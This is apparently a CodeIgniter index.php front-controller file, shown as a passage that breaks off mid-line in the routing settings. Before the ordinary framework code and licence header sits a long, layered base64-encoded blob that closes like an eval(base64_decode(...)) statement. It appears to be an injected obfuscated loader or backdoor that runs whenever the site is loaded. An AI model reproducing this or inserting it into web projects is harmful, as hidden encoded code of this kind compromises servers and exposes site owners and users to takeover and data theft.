JWRVl6QllSRVV3VGxaM2VFNVVWbU5sUkZsNFdFaG5NMDFHZHpOT1UwbG5UR2xDTVdOdGVHeGliVTUyV2tkVmIwcEhNVXhXTW5CVFMxUnpaMW95T1RCaWVVSlZVMGhWZDJKcWMyZFVSa1o0VlZaUk5rbEhiRzFKUTJkb1MwaE9NR051UW5aamVXZHJZbXBqTVUxR1VYTkpRMHBqWlVSamVWaElaekphYkhnMFRtcEtZMDFVVlROWVJFVXlUa1o0TkU1NlRtTk9WRnBqVFZSWk1GaEVSVE5OUm5nMFRucFJhVXRUUVdoUVZEQm5XbTFHYzJNeVZYQkxVMEkzU1Vka2RtUkhPR2RpYXpsdFVtMW5OMGxJTUdkYU1qa3dZbmxDVGxOdGFFZGtWSE5uVTBaR1NsRnRaelpKUTFKdllsWmFjVlo1UVRsSlEwcGpUVlJKTVZoSVp6Tk5NWGcwVG1wV1kyVkVZM2xZU0dkNVdrWjNlRTVFUm1ObFJGa3pXRWhuTWs1V2QzaE9WRnBqVFZSWk1GaEVZM2xZU0dkNVRVWjNNVTFzZDNoT1ZuZDRUV3g0TkU1RVJtTmxSRnBxV0VSRk1VNUdkM2hPVkdSalpVUmpNMWhFWTNsWVNHZDVUVVozTVU1NVNUZEpSMlIyWkVjNFoxcFlhekpYV0VrM1NVZE9UMlZVVGxWUGFVRnJZMjA1YkdGSVRXZFFVMEZwV0Vobk1rOUdlRFJPZWxKalpVUmpNRmhFUlRKTlJuY3pUV3g0TkUxdFdXbFBlVUp1WWpOU2RrbEdSVEpsYmxwUVQzbENjV050ZURKWGFtOW5Xakk1TUdKNVFrbGxSVlpSVDFSeloxb3lPVEJpZVVKMVdXMXNhMk5VYzJkUmJWcDNVV3hSTmtsRk1EUmtWRlptVDJsQ2JtSXpVblpKU0c5NFdESm9XRTk1UWxCa00wWnVXbFJ2WjJGWFdXZExRMFZ2WXpOV2FXTXpVbmxMUTFKS1RWVmtSRTFUZDJkTlEzZG5UVlJCY0VsRU1EbEpRMHBqWlVSWk1WaElaek5OYkhnMFRucEtZMDFVVlROWVJFVXlUV3gzTUUxR2VEUk9hazVqWlVSYWJWaEVSVEJPUm5nMFRtcFZhVWxIT1hsSlExSktUVlZrUkUxVFFUbFFVMEZwV0VobmVrNVdkekpOUm5nMFRYcEJhVWxIT1hsSlNFNHdZMjVDZG1ONVoydFRWRVpJVVhwRmMwbERTbU5sUkZGNVdFUkZNRTFXZDNoT1JGSmpUa1JDWTJWRVVUTllTR2N5VFZaNE5FNTZVbU5sUkZreFdFaG5NMDR4ZURST2FrWmpUVlJqZUVscGEyZEpWREE1U1VkYWFHSklUbXhMVTJ0blpYbENibUl6VW5aSlJrcHpZVlZaTWs5NVFqbEpSMlIyWkVjNFoySkhNREJUVkVrM1NVaFNhMk5YZERSUGFVRnJXa1p3UW1GSE1HZFFVMEZwV0VSVk0wbHFjMmRhTWprd1lubENObVJxWkVWaVZITm5XVE5OZUZSNlZUWkpRMUl3VVcxNFExbHBRVGxKUTBwalpVUmFhbGhFUlROTlZuY3hUbWxKTjBsSFpIWmtSemhuV2xkNGNXUklRVGRKUldSWVZHMUdTRTlwUVd0aVZrSjZZVVpSWjFCVFFYZFBlVUp1WWpOU2RrbEZlRkZPUlhCSVQzbENkMVY2VFRSU2FtOW5XVE5XZVdKR09YcGFXRkoyWTBoUmIwcEZSa3hXTWtZMlRFTkNSRlpXU2sxVU1VSlZXREZXVTFSRGQyZEtTRTV4V2pJMWJVdFVjMmRhTWprd1lubENkRlV3U1hoV2VuTm5VVmRPVVZkWE5EWkpSelZRV210YWIwOXBRbTVpTTFKMlNVVndjRkl3VW1wUGVVSkRZbFJrZFU5VWIyZGtSbkI0VFRGTk5rbEhaSFprUnpobllVWTVNVmR0VFRkSlJXdzFWbTE0TTA5cFFuQmFhVUZ2U1ZOb2VtUklTbmRpTTAxdlNrYzBNMDVVUWxWTVEwRnBXRWhuTWs5R2VEUk9la3BqWlVSak5WaElaekpQUm5kNFRtcEtZMlZFWXpWSmFXdG5TVlF3T1VsSFdtaGlTRTVzUzFOcloyVjVRbTVpTTFKMlNVZFdibGd6VlRWUGVVSTVTVWRrZG1SSE9HZFVibkJDVW10bk4wbEhUbmhoYXpGcFQybEJhMlZIV2pSTmJVMW5VRk5CYmtwNmMyZGFNamt3WW5sQ2JXRllhSEJoVkhObldtMXNOR0ZYYXpaSlIxWnFZVWM0WjBwSE1VeFdNbkJUU1VNMFowbHNkek5OYkhjd1RVTkpaMHhwUVd0bFIxbzBUVzFOWjB4cFFXbFlTR2Q2V1RGNE5FNXFTbU5sUkdONVdFaG5lVnBzZURSTk1sVnBUM2xDYm1JelVuWkpSelZ6V2xSYWJFOTVRbWxSV0ZwSlZtcHZaMHBIYjNkVU1HZ3lTVVF3WjBwR09WUlNWa3BYVWxaS1lrbHNkM2hOVkVKalpVUlZNRmhJWnpGT1JuZzBUbFJDWTAxVVRUTllTR2N4VDBaM2VFMTZaR05OVkVFeVdFUkZlRTR4ZURST1ZFcGpUVlJKTTFoSVp6Qk5WbmQ0VFdwS1kyVkVVVEJZUkVWM1RsWjRORTVFVW1OTlZFMHpXRVJGZDA1c2VEUk9SMXBqWlVSVmVVbHNNRGRKUjJSMlpFYzRaMVpJUWsxWGJFVTNTVWQ0ZEU1RmEzbFBhVUp2V2xkR2ExcFlTVzlKYkhnMFRrUm9ZMlZFVlRCWVJFVjVUa1o0TkU1VVFtTmxSRXB0V0VSWmVGaElaM2xhVm5nMFRYcENZMlZFU1hkWVNHZDZUbFozTWsxR2R6Sk5SbmN3VFVaM2VFMVVSbU5sUkZwc1dFUkZNazVHZDNoT1JGWmpaVVJqZVZoRVJURk9iSGcwVG1wR1kyVkVXbXBZU0dkNVRVWjNlRTFxVG1OTlZGRXhXRVJGTWsxc2VEUk9lbHBqWlVSWk1WaEVSVEpOYkhjd1RVWjNlRTFFVm1OTlZGbDVXRWhuTTAxc2QzaE9WR1JqWlVSamVVbHBhemRKUjJSMlpFYzRaMkpXUWxKa1dHYzNTVVp3WVZWWE9ETlBhVUZyV0RGT1JsVnNXa1pWYkhOcFdFaG5NVTFzZURST1JGWmpUVlJKZUZoRVJYbE9WbmcwVGtSV1kwMVVTWHBZU0djeFRrWjNlRTE2WkdObFJGVjZXRVJGZDAweGVEUk9SR2hqVFZSQk1WaEVSWGhPVm5kNFRVUlZhVmhUUVRsSlEwcGpUVlJWZDFoRVJUSk9SbmcwVG5wU1kwMVVXWGRZUkVVeVRYbEpOMGxIWkhaa1J6aG5Xa1JzY21GdFRUZEpSMXBEV1ZSS01rOXBRV3RXUjJ4elYxZEpaMUJUUWpGamJYaHNZbTFPZGxwSFZXOUtSamxVVWxaS1YxSldTbUpKYkhkNFRXcEtZMDFVUVRGWVNHY3hUVlo0TkU1VVZtTmxSRkV4V0Vobk1VMHhlRFJPVkZKalpVUldiVmhFUlhsTk1YZDRUVVJPWTJWRVVUUllSRVYzVGxaM2VFMVVWbU5OVkVFeFNXd3djRTk1UW01aU0xSjJTVVZzTlZadGVETlBlVUpwWkZad1NsbDZiMmRUTWpsT1kwZFJOa2xIWkhaa1J6aG5ZbTF2TkU0eFl6ZEpSbWh1VFRCT1JVOXBRV3RoZW1oSlUxYzBaMUJUUWpGamJYaHNZbTFPZGxwSFZXOUtSamxVVWxaS1YxSldTbUpKYkhnMFRrUm9ZMlZFVlRCWVNHY3hUa1o0TkU1VVFtTmxSRlp0V0Vobk1VNVdkM2hOYWs1alRWUkJNVmhFUlhsTmJIZzBUbGRhWTAxVVFYaFlSRVYzVGpGNE5FNUVWbU5sUkZKc1dFaG5NVTVEU21STFZITm5Xakk1TUdKNVFsbGxXRzk1V21weloySXdhelZrV0djMlNVZHNiVWxEYUd4aVdFSXdaVk5uYTFOVVJraFJla1Z3UzFOQ04wbEhaSFprUnpoblpWVmFNRnBGV1RkSlNEQm5Xakk1TUdKNVFsQmtNMFp1V2xSeloxVjZUa1ZXZWtrMlNVZFdOR0ZZVVRkSlIyUjJaRWM0WjFSSGEzaFRhbXMzU1VkU2JXUnVaR2hQYVVGclUxUkdTRkY2UldkUVUwSnFaRmhLYzFneVZqUmFWMDF2U2tWR1RGWXlSalpMVkhObldqSTVNR0o1UWpCVWJFNVVZbnB6WjJJd05YaGhSa0UyU1Vkc2JVbERhSHBrU0VwM1lqTk5iMHBITkROT1ZFSlZURU5CYVZoRVJUSk5iSGcwVG0xYVkyVkVXWGxZU0djeVdteDNlRTVxVW1ObFJHTjZXRWhuZVZwV2VEUk9lbEpqVFZSamQxaElaek5PUTBsd1NVTkZPVkJUUW0xWlYzaDZXbE5DZG1OcFFucGtTRXAzWWpOTmIwcEhORE5PVkVKVlRFTkJhVmhJWnpKWlZuZzBUbnBDWTA1cVNtTmxSRTEzV0VobmVrMXNkekpOZVVsd1NVTkZPVkJUUW0xWlYzaDZXbE5DZG1OcFFucGtTRXAzWWpOTmIwcEhORE5PVkVKVlRFTkJhVmhFUlRKTlJuZDRUbFJHWTAxVVZUSllSRVV3VGpGM2VFNXFUbU5OVkZWNFdFaG5NMDVHZURST2FsWmpUVlJWTVZoSVp6Sk5WbmcwVG5wQmFVdFRRV2hRVkRCbldtMUdjMk15VldkaU0wbG5ZMGhLYkZveE9YUlpXRkpxWVVObmFWaEVSWGROUm5nMFRsZFdZMlZFU20xWVJGVjNXRWhuZVZwV2VEUk5iVVpqWlVST2JWaEVWWGhZU0dkNVdsWjRORTU2YUdOTlZGVXhXRWhuTWxreGVEUk5hbEpqVFZSQmQxaEVSVEZOVTBselNVTlNabFV3VmxOV2ExWlRWM2xLWTJWRVZYbFlSRVYzVGxaNE5FNVVSbU5OVkVreFdFUkZkMDVXZURST1ZFNWpaVVJWTUZoRVJYcE9NWGQ0VFdwV1kyVkVWWGxZUkVWNFRWTktaRXRUUW5aamFVSjNZMjFXYmxneU1XaGtSMDV2UzBOS1kyVkVTbTFZUkZWM1pYbFNhRlF4UWt0VlNERmpaVVJKTlZoRVZUTllSRVV4VFZOSmMwbERVbVpWTUZaVFZtdFdVMWQ1U21ObFJGRTBXRWhuTVU1R2QzaE5hbEpqWlVSVmQxaElaekZhYkhnMFRsUldZMlZFVlhwWVJFVjNUbFo0TkU1VVNtTmxSRlp0V0Vobk1FMVdlRFJPUkdSalpVUlJNVmhFUlhoT2JIZDRUV3BSYVZoVGEyZGlNMGxuWTBoS2JGb3hPWFJaV0ZKcVlVTm5hVmhJWjNsYWJIZzBUV3BvTjBwSFJsQlZSWEJSWmxaNE5FMXFiR05PVkdSalpVUlpOVWxwZDJkUlExSm1WVEJXVTFaclZsTlhlVXBqVFZSRmQxaEVSWGxPUm5nMFRsUlNZMlZFVlhkWVJFVjZUakY0TkU1VVNtTmxSRkV4V0VSRmQwNXNlRFJPUkZaalRWUkplVmhFUlhkT1ZuZzBUbFJKYVZoVGEzQkpTSE5uV2pJNU1HSjVRalJOUlVwd1ZtcHpaMlpUUW01aU0xSjJTVWhDTldJd1dscFBlVUl4V0RCV1JVNVViMmRWTWpSNFpGUmpOa2xIWkhaa1J6aG5Va1ZuTTJGdVZUZEpTRzh6WldwT1drOXBRV3RaVlRsUlUyeEJaMUJUUVdsWVJFVjNUakYzZUU1VVpHTk5WRlV6V0Vobk1rNHhlRFJPYlU1alpVUlpNVmhJWnpOWk1YZDRUVVJLWTJWRVdUVllTR2N5V2xaM2VFNUVaR05OVkdNd1dFUkZNMDFXZURST2FrWmpUVlJWZDFoSVp6SmFiSGQ0VGxSa1kyVkVaR3BZU0djd1RWWjRORTV0V21ObFJGcHFTV3B6WjFveU9UQmllVUpVVkd4d1ZWbHFjMmRrUlRWVVZUSTROa2xIVGpGamJYaG1XVEo0ZG1NeVZXOUtSVVpNVmpKR05rdFVjMmRhTWprd1lubENXV0ZXVVhkV1JITm5Xa2R3UjA5V1RUWkpRMUo2WVcxa2RWcHBRVGxKUTFKS1RVUk9jMU5wUVhWSlEwcGpaVVJPYlZoRVJUQk5WbmQ0VGtSa1kyVkVXVEZZUkVVeFRteDRORTU2VW1OT2VsWTNTa2R6TkZORmJIVm1WbmN3VG14NE5FNTZTbU5sUkZreFdFUkZNRTVzZURST2FsWmpaVVJqZVZoRVl6RmxlVkpJVm01b2NtVllNV05sUkVreVdFaG5NbGt4ZURST2FrWmpUVlJWTWxoSVp6Sk9NWGN6VGxoemEySnNTbWxYUjNBNVdFUlJNbGhJWnpKUFZuZzBUbnBDWTA1NlZqZEtSMjkzVkRCb01tWldlRFJOYWxwalRWUlJNRmhJWnpKYWJIZDRUbFJXWTA1NlZqZEtSVXBJVWxkTmVtWldlRFJOYWxwalpVUlpORmhFUlRKT1JuZzBUbnBTWTJWRVkzZFlTR2Q2V2toemExWkhiSE5YVjBvNVdFUlJNbGhJWnpOT1ZuZDRUbXBLWTJWRVdUVllSR014WlhsU2RVNTZWWGRXU0RGalRrUmFZMDFVV1hkWVJFVXdUVEY0TkUweVVqZEtSbU4zWVRGU2NtWldlRFJOYWxwalRWUlplVmhFUlRCT1ZuZDRUbXBrWTJWRVkzbFlSRVV4VFZaNE5FNTZVbU5OVkZFeFdFaG5NazFXZURST2FrcGpaVVJhYWxoRVJUQk9WbmN6VGxoemEySldRbnBoUmxJNVdFUlJNbGhJWnpOTk1YZDRUa1JPWTJWRVkzbFlSRVV4VFZaNE5FNTZRbU5OVkZrd1dFaG5lbHBJYzJ0VU1tOTRWbTAxT1VscWMyZGFNamt3WW5sQ2NrMHdTVFJPYW5OblVXcFZOVlpZVlRaSlExSktUVlZrUkUxVFFUbEpSVUp0WVZkNGJGZ3laR3hrUmpscVlqSTFNRnBYTlRCamVXZHJVbXBXUWxaRk9IQlBlVUp1WWpOU2RrbEZlSGxWTWpGVFQzbENNV1ZWUm1saWVtOW5Ta1ZLU0ZKWFRYcEpSREJuWkZoS2MxcFhOV3BpTWxKc1MwTlNabFV3VmxOV2ExWlRWM2xLWTJWRVVUUllSRVY1VGtaNE5FNVVVbU5OVkVsM1dFaG5NVnBzZDNoTlZFSmpaVVJTYlZoRVJYbE5NWGQ0VFdwUmFWaFRhemRKUjJSMlpFYzRaMkZ1Um1saVJWRTNTVVpGZDFreFdYcFBhVUpRV2tkNGQxUkRaMmxZU0djelRXeDNlRTVVWkdObFJGbDVXRWhuTWxwc2QzaE9hbEpqWlVSamVsaElaM2xhVm5kNFRtcFNZMDFVWTNkWVNHY3pUa05KYzBsRFVtOWlWbHB4Vm5sck4wbEhaSFprUnpoblVXMHdNMkpxYXpkSlNIQlpZbGQ0VDA5cFFtOWFWMFpyV2xoSmIwbHNkM2hOUkU1alpVUmFiVmhFUlRGT2JIZDRUbXBTWTJWRVdURllSRVV4VG14M2VFNXFVbU5sUkVwcldFaG5NVTVHZURST2VteGpUVlJaZDFoRVJUQk9WbmcwVFRKR1kwNUVRbU5sUkdNd1dFaG5NazVXZDNoT2VrSmpUVlJaTUZoRVZUTllSRVV4VFVaNE5FNTZVbU5sUkZwcldFaG5NbGt4ZHpOTk1YY3dUVVozZUU1RVRtTk5WRlYzV0Vobk1rMVdkM2hPYWtwalRWUlplbGhFUlRCT1ZuZDRUbXBTWTJWRVRtdFlSRVV5VGxaNE5FNTZVbU5OVkZFeVdFaG5lVnBHZURSTmVtZHBTMVJ6WjFveU9UQmllVUpxVkVSR1ZWWnFjMmRrTW14c1dUQkZOa2xIWkhaa1J6aG5VVEZPYldWc1NUZEpSMlIyWkVjNFoxTlZiRzFoVnpRM1NVVm5OVlpyWkRGUGFVRnJXREZPUmxWc1drWlZiSE5wV0Vobk1VMXNkM2hOUkZaalpVUlZlRmhFUlhsT1ZuZDRUVVJXWTAxVVNYcFlSRVY1VGtaM2VFMTZaR05sUkZWNldFaG5NRTB4ZURST1JHaGpaVVJSTVZoRVJYaE9WbmQ0VFVSVmFWaFRRVGxKUTBwalpVUlpORmhJWnpOT1JuZzBUbnBTWTAxVVdYZEphbk5uV2pJNU1HSjVRbWhaYTJoUFkwUnpaMk5JYkhaU2JHczJTVWRrZG1SSE9HZFRNamxPWTBkUk4wbEhaSFprUnpobldsVldkMWRxWnpkSlJYaDVWVEl4VTA5cFFuQmFhVUZ2U2tWcmVGSXdUWGhKUkRBNVVGTkJhVmhJWnpKYWJIZzBUbTFKYVV0VFFqZEpSMlIyWkVjNFoxUlVhREZPVmpnM1NVZ3daMW95T1RCaWVVSkNZVlpqZVZGVWMyZFRNRlo1VFZWdk5rbEZlRVpOZWtwRlQybENibUl6VW5aSlJrVjNXVEZaZWs5NVFsRlRWM2hNVldwdloyRlhXV2RMUTFKMFZVaE9iMVpEUVRsUVUwRjNTMU5DTjBsSFpIWmtSemhuV210d01tSXpTVGRKU0RCbldqSTVNR0o1UWpCYVNFWnlaVVJ6WjFReVduWmhSVVUyU1VoQ1ZGVkdhRFZQYVVKdVlqTlNka2xHVW5KT1IxWlNUM2xDTUZsc1VrdFplbTluWVZkWlowdEhiSHBqTWxZd1MwTlNabFV3VmxOV2ExWlRWM2xLWTAxVVJYZFlTR2N4VGtaNE5FNVVVbU5OVkVsM1dFaG5NVnBzZURST1ZHaGpaVVJXYlZoSVp6Qk9iSGQ0VFZSa1kyVkVWWGxZUkVWNVRqRjNlRTFFUm1OTlZFbDVXRVJGZDA1R2QzaE5SRlpqVFZSQk1GaElaekZhYkhnMFRrUmFZMlZFVW0xWVJFVjVUV2xLWkV0VGEyZGxlVUp1WWpOU2RrbEljRWhSTUhoVFQzbENPVWxIWkhaa1J6aG5WVzFPUjJSVlJUZEpSMUpYVVRKa1RFOXBRbEJTUjNoM1lrTm5hMXBXWnpOa1JFVnpTVU5LWTJWRVRYZEphV3MzU1Vka2RtUkhPR2RXU0UxM1VUTlZOMGxIY0dsV2JsWnpUMmxDTm1OV1NsaFNSRzluV2pJNU1HSjVRbFZUTWtZeFpGUnpaMWRJYkRaTmJWazJTVWRzYlVsRGFIQmpNMDVzWkVObmExZ3hUa1pWYkZwR1ZXeHphVmhJWnpCUFJuZDRUV3BTWTAxVVNUQllSRVY1VFVaM2VFMTZaR05OVkVGNldFaG5NRmt4ZDNoTlZFWmpaVVJSTVZoSVp6QmFWbmcwVGxSU1kwMVVUVE5ZUkVWNFRWWjRORTVVUVdsWVUydHdTVWh6WjFveU9UQmllVUpIVTFWU1RscEVjMmRtVTBKdVlqTlNka2xJVW1sV1JYQnFUM2xDVUZKSFJrOVJhbTluU2tWWk1WRldVbEJKUkRCblNrWlNjR0pHYkdsSlF6Um5TV3gzTTAxc2R6Rk9NWGcwVFcxWmFVbEROR2RLUmpsVVVsWktWMUpXU21KSmJIZzBUa1JvWTAxVVNUQllSRVY1VGtaNE5FNVVRbU5OVkUweldFaG5NRTlHZURST1IxcGpaVVJWZWxoRVJYbE9RMHBrU1VNMFowbHNlRFJOYlZwalRWUlZkMWhFUlRKTmJIZzBUbnBzWTJWRVdUUllTR2N6VFd4NE5FNTZhMmxQZVVKdVlqTlNka2xGU1RGUFZsWXhUM2xDVDAweGNIaFVlbTluU2tjeFVXTXlhRlZKUkRCblVXeHdSMUpWWTI5S1IxWlpUak5SZUV0VWMyZGFNamt3WW5sQ1JGWXdSbkpqVkhOblpXNVpNMUpITURaSlIyUjJaRWM0WjFWVk9IaE9WV00zU1Vka2RtUkhPR2RaYmtsNVdIcEZOMGxHVWt4WldGWXhUMmxDYjFwWFJtdGFXRWx2U1d4NE5FNUVUbU5OVkZVeldFUkZNVTVzZURST2VsSmpaVVJaTVZoRVJURk9iSGcwVG5wU1kyVkVTbXRZU0djeFRrWjNlRTU2Um1OTlZGbDNXRVJGTUU1V2VEUk5Na1pqVGtSQ1kwMVVXVEJZUkVVd1RsWjNlRTU2UW1ObFJHTXdXRVJWTTFoRVJUTk5SbmcwVG0xU1kwMVVWVEJZUkdONldFaG5lVTFHZDNoT1JFNWpUVlJWZDFoSVp6Sk5WbmQ0VG1wS1kwMVVXWHBZUkVVd1RsWjRORTU2VW1ObFJFNXJXRVJGTWs1V2QzaE9hbEpqWlVSWk1saEVWVEZZUkdOM1NXbHJOMGxIWkhaa1J6aG5WMGMwZWxSWGN6ZEpSbVJXWVdzeE5VOXBRV3RTTVZvMFlUTnJaMUJUUWpGamJYaHNZbTFPZGxwSFZXOVJRMUptVlRCV1UxWnJWbE5YZVVwalRWUkZkMWhJWnpGT1JuZDRUV3BTWTJWRVZYZFlSRVY2VGpGNE5FNVVTbU5OVkVFeFdFaG5NRTVzZDNoTlJGWmpaVVJWZVZoRVJYZE9WbmcwVGxSSmFWaFRhemRKUjJSMlpFYzRaMU5FYkVoaGJFVTNTVWRXTTA5SGVFSlBhVUp3V21sQmIwbFhWblJqU0ZJMVMwTlNabFV3VmxOV2ExWlRWM2xLWTAxVVNYbFlSRVYzVGxaNE5FNVVSbU5OVkVreFdFUkZkMDVXZDNoTmFrNWpaVVJWTUZoRVJYcE9NWGQ0VFdwT1kwMVVRWHBZU0djd1QwWjNlRTFFVm1OTlZFVXhXRVJGZDA1VFNtUkxVMEpvWW0xUlowcEdPVlJTVmtwWFVsWktZa2xzZDNoTmFrcGpUVlJCTVZoRVJYbE5WbmQ0VFdwV1kyVkVVVEZZUkVWNVRURjRORTVVVW1ObFJGWnRXRWhuTVUweGQzaE5SRTVqWlVSUk5GaElaekJPVm5nMFRrZFNZMlZFVVRGSmJEQm5VRlF3WjBsc2QzaE9WRUpqWlVSak1GaElaek5PUm5kNFRtcENZMlZFWTNwSmFVSjJZMmxCYUZwWE1YZGtTR3R2U2tZNVZGSldTbGRTVmtwaVNXeDRORTVFYUdObFJGVXdXRWhuTVU1R2QzaE5ha0pqWlVSVmVrbHNNSEJKUjBaMVdrTkJhMWd4VGtaVmJGcEdWV3h6YVZoRVJYaE5SbmcwVGxSU1kyVkVWVEJZUkVWNVRVWjRORTVVVFdsWVUwRTVVRk5CYVZoRVJURk9NWGQ0VGxSWmFVbEhPWGxKUTBac1lsaENNR1ZUWjJ0WU1VNUdWV3hhUmxWc2MybFlTR2N4VFRGM2VFMUVWbU5sUkZWNVdFUkZlVTVzZURST1JGWmpaVVJWZVZoRVJYcE9NWGcwVGxSQ1kyVkVVbTFZUkVWNVRXeDRORTVVVVdsWVUydG5XVmMxYTBsRFVtWlZNRlpUVm10V1UxZDVTbU5sUkZWNldFaG5NRTVXZDNoTmFrcGpaVVJWTWxoRVJYZE9WbmQ0VFdwS1kwMVVUVE5ZU0djeFRVWjNlRTFVWkdObFJGVjVXRVJGZVU1RFNtUkpSREE1U1VOS1kwNXFVbU5PYWxKalpVUk5la2xwUW5aamFVSndZek5PYkdSRFoydFlNVTVHVld4YVJsVnNjMmxZUkVWNFRVWjRORTVVVW1OTlZFa3dXRWhuTVUxR2QzaE5lbVJqVFZSTmQxaEVSWHBPTVhkNFRVUmFZMlZFVW0xWVJFVjVUV3g0TkU1VVpHTmxSRkY0V0Vobk1VMXNlRFJPUkZKalpVUlJNVmhJWnpCT1JuZzBUbGRhWTJWRVZYZFlSRVY1VFd4M2VFMVVaR05sUkZVd1dFaG5NRnBwU21STFUwSm9ZbTFSWjBwR09WUlNWa3BYVWxaS1lrbHNkM2hOVkVKalpVUlZNRmhFUlhsT1JuZDRUV3BDWTJWRVZtMVlTR2N4VDBaNE5FNVhXbU5sUkZFeVdFaG5NRnBzZURST1ZFcGpaVVJWTTFoRVJYZE5WbmcwVGxSS1kyVkVVVEJZUkVWM1RsWjNlRTFFVW1ObFJGWnRXRWhuTVUxR2VEUk9WRXBqWlVSU2JWaElaekZPUm5kNFRWUmphVmhUUVRsUVUwRnBXRWhuTWs5R2QzaE9hbEpqVFZSWk1GaEVSVEpOUm5kNFRtcE5hVXRUUWpkSlIyUjJaRWM0WjJWSFduUldNRzgzU1Vnd1oxb3lPVEJpZVVKSlQxWmFTR1JVYzJkUlYyeFlUV3RGTmtsRFVuUlZTRTV2VmtOQk9VbEVRVGRKUjJSMlpFYzRaMXBHV2tSYU1ITTNTVVZSTWsweGNIaFBhVUp3V21sQmIyTXpVbmxqUnpsNlMwTlNhMWRyUm05aVUzZG5TV3gzZUU1VVJtTmxSRnBzV0Vobk1rNUdkM2hPUkZaalpVUmpORmhJWjNsYVZuZDRUbXBDWTJWRVdUUkphV3RuU1ZRd09VbEhXbWhpU0U1c1MxTkNOMGxIWkhaa1J6aG5WRE5zWm1Fell6ZEpTREJuV2pJNU1HSjVRbFZOYlU1V1dWUnpaMVJ1Y0VKU2EyYzJTVWRXYW1GSE9HZEpiSGcwVG0xYVkwMVVWWHBKYW5ObldqSTVNR0o1UWxSTk1GSllUV3B6WjFSc1JsSlNWRUUyU1Vkc2RWWklUbXBQYVVKdVlqTlNka2xIU2s1U2JXUkhUM2xDUkZZd1JuSmpWRzluV2pJNU1HSjVRakZpUmtwTFUwUnpaMW95T1RCaWVVSnlVVlpDVkdORWMyZFpNSGQ0VmtaWk5rbEhaSFprUnpoblVWYzFNMUpWU1RkSlIyUjJaRWM0WjJGdFNsZGtWM2MzU1VWU2VscEhiRFpQYVVKc1pVZHNNRTk1UW01aU0xSjJTVVU1YldJeWFFSlBlVUpGVlZWNGFHSjZiMmRsUjFwMFZqQnZOa2xIWkhaa1J6aG5WMnh3VW1KNll6ZEpSM0I0V1cxNFJVOXBRV3RoYWtKUVUwaFpaMUJUUWpGamJYaHNZbTFPZGxwSFZXOUtSMjkzVkRCb01rdFVjMmRhTWprd1lubENXbEp0Vm5CVGFuTm5ZMVZHVTFKWFp6WkpSa1pRVFZSV1NFOXBRbTVpTTFKMlNVaHNWRTVJU2tKUGVVSkZVMFJrY1dSVWIyZFZNRW8wVFZoVk5rUlJieTlRWnowOUlpa3BPeUEvUGc9PSIpKTsgPz4=")); ?> <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ /* *--------------------------------------------------------------- * APPLICATION ENVIRONMENT *--------------------------------------------------------------- * * You can load different configurations depending on your * current environment. Setting the environment also influences * things like logging and error reporting. * * This can be set to anything, but default usage is: * * development * testing * production * * NOTE: If you change these, also change the error_reporting() code below */ // define('ENVIRONMENT', isset($_SERVER['CI_ENV']) ? $_SERVER['CI_ENV'] : 'development'); define('ENVIRONMENT', 'development'); /* *--------------------------------------------------------------- * ERROR REPORTING *--------------------------------------------------------------- * * Different environments will require different levels of error reporting. * By default development will show errors but testing and live will hide them. */ switch (ENVIRONMENT) { case 'development': error_reporting(-1); ini_set('display_errors', 1); break; case 'testing': case 'production': ini_set('display_errors', 0); if (version_compare(PHP_VERSION, '5.3', '>=')) { error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED); } else { error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE); } break; default: header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'The application environment is not set correctly.'; exit(1); // EXIT_ERROR } /* *--------------------------------------------------------------- * SYSTEM DIRECTORY NAME *--------------------------------------------------------------- * * This variable must contain the name of your "system" directory. * Set the path if it is not in the same directory as this file. */ $system_path = $_SSS['app']['system_path']; //changed from $system_path = 'system'; /* *--------------------------------------------------------------- * APPLICATION DIRECTORY NAME *--------------------------------------------------------------- * * If you want this front controller to use a different "application" * directory than the default one you can set its name here. The directory * can also be renamed or relocated anywhere on your server. If you do, * use an absolute (full) server path. * For more info please see the user guide: * * https://codeigniter.com/user_guide/general/managing_apps.html * * NO TRAILING SLASH! */ $application_folder = $_SSS['app']['application_path']; //changed from $application_folder = 'application'; //echo $application_folder; /* *--------------------------------------------------------------- * VIEW DIRECTORY NAME *--------------------------------------------------------------- * * If you want to move the view directory out of the application * directory, set the path to it here. The directory can be renamed * and relocated anywhere on your server. If blank, it will default * to the standard location inside your application directory. * If you do move this, use an absolute (full) server path. * * NO TRAILING SLASH! */ $view_folder = ''; /* * -------------------------------------------------------------------- * DEFAULT CONTROLLER * -------------------------------------------------------------------- * * Normally you will set your default controller in the routes.php file. * You can, however, force a custom routing by hard-coding a * specific controller class/function here. For most applications, you * WILL NOT set your routing here, but it's an option for those * special instances where you might want to override the standard * routing in a specific front controller that shares a common CI installation. * * IMPORTANT: If you set the routing here, NO OTHER controller will be * callable. In essence, this preference limits your application to ONE * specific controller. Leave the function name blank if you need * to call functions dynamically via the URI. * * Un-comment the $routing array below to use this feature */ // The directory name, relative to the "controllers" directory. Leave blank // if your controller is not in a sub-directory within the "controllers" one // $routing['directory'] = 